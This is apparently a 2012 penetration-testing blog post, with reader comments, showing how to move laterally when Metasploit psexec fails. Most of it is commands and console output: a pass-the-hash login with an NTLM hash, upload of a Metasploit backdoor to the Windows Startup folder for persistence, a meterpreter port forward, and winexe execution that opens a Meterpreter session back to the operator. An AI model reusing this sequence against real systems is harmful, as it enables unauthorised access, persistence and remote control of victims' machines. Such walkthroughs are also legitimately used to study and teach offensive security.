carnal0wnage [Shared Reader]

Monday, January 23, 2012

psexec fail? upload and exec instead

I ended up having to use the smb/upload_file module on a pentest.  I was able to get the local admin hashes but for some reason the psexec module wouldn't get code execution, it would act like it would work but wasn't.  So we decided to push a binary, use winexe that was modified to pass the hash to exec the binary as needed.  It went something like this... ##################################################
# add a route to the 10.x network thru session 1
##################################################

msf  exploit(handler) > route add 10.0.0.0 255.255.255.0 1
[*] Route added

#######################################################
# psexec wouldnt work. AV eating metsvc most likely...
# used smb/upload_file to place a binary on the box
######################################################
msf  exploit(handler) > use auxiliary/admin/smb/upload_file
msf auxiliary(upload_file) > info

    Name: SMB File Upload Utility
    Module: auxiliary/admin/smb/upload_file
    Version: 10394
    License: Metasploit Framework License (BSD)
    Rank: Normal

Provided by:
  hdm

Basic options:

  Name      Current Setting                               Required  Description
  ----      ---------------                               --------  -----------
  LPATH                     yes       The path of the local file to upload
  RHOST                     yes       The target address
  RPATH                     yes       The name of the remote file relative to the share
  RPORT     445             yes       Set the SMB service port
  SMBSHARE  C$             yes       The name of a writeable share on the server

Description:
  This module uploads a file to a target share and path. The only
  reason to use this module is if your existing SMB client is not able
  to support the features of the Metasploit Framework that you need,
  like pass-the-hash authentication.

msf  auxiliary(upload_file) > set SMBUser Administrator
SMBUser => Administrator
smsf  auxiliary(upload_file) > set SMBPass aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
SMBPass => aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
msf auxiliary(upload_file) > set RHOST 1.2.3.4
RHOST => 1.2.3.4
msf auxiliary(upload_file) > set LPATH /home/chris/msf3/msf_backdoor.exe
LPATH => /home/chris/msf3/msf_backdoor.exe
msf auxiliary(upload_file) > set RPATH "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\msf_backdoor.exe"
RPATH => C:\Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe
msf auxiliary(upload_file) > run
[*] Read 13616 bytes from /home/chris/msf3/msf_backdoor.exe...
[*] Connecting to the server...
[*] Mounting the remote share \\1.2.3.4\C$'...
[*] Trying to upload Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe...
[*] The file has been uploaded to Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe...
[*] Auxiliary module execution completed

################################################
#Set up a portforward to talk to hosts via SMB
################################################

meterpreter > portfwd add -l 445 -p 445 -r 1.2.3.4
[*] Local TCP relay created: 0.0.0.0:445 <-> 1.2.3.4:445

#####################################################################
# Use winexe with pass the hash to get cmd shell and run the binary
#####################################################################

user@ubuntu:~/Desktop/winexe-hash$ export SMBHASH=aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
user@ubuntu:~/Desktop/winexe-hash$ ./winexe -U administrator //1.2.3.4 "cmd"
Password for [WORKGROUP\administrator]:
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : inside.company.com
        IP Address. . . . . . . . . . . . : 1.2.3.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 1.2.3.254

C:\WINDOWS\system32>
C:\Documents and Settings\All Users\Start Menu\Programs\Startup>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0007-B088

 Directory of C:\Documents and Settings\All Users\Start Menu\Programs\Startup

01/13/2012  03:55 PM             .
01/13/2012  03:55 PM             ..
01/13/2012  03:55 PM            13,616 msf_backdoor.exe
               1 File(s)         13,616 bytes
               2 Dir(s)  241,661,345,792 bytes free

C:\Documents and Settings\All Users\Start Menu\Programs\Startup>msf_backdoor.exe
msf_backdoor.exe

C:\Documents and Settings\All Users\Start Menu\Programs\Startup>

[*] 5.5.5.5:4889 Request received for /INITM...
[*] 5.5.5.5:4889 Staging connection for target /INITM received...
[*] Patched transport at offset 486516...
[*] Patched URL at offset 486248...
[*] Patched Expiration Timeout at offset 641856...
[*] Patched Communication Timeout at offset 641860...
[*] Meterpreter session 5 opened (5.5.5.5:443 -> 6.6.6.6:4889) at Wed Jan 18 22:02:03 +0000 2012

6 comments:

Anonymous said...

What exact type msf_backdoor.exe is in this case ?

CG said...

just a binary i made with msfpayload

Anonymous said...

SMBHASH=aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
user@ubuntu:~/Desktop/winexe-hash$ ./winexe -U administrator //1.2.3.4 "cmd"

I am having a little problem...

I export the correct hash to SMBHASH and executed winexe but it keeps asking for the password.

any ideas ???

Anonymous said...

I export the correct hash to SMBHASH
but when i execute winexe it keeps asking for the password!

Any ideas how to solve this ?

CG said...

assuming you did export SMBHASH value1:value2 correctly did you try just hitting enter when it asks for the password?

it should give you some sort of error if the pass is wrong or times out or whatever

Anonymous said...

Solved it!

I was using another version of winexe.

Now it works fine!

Thank you! :)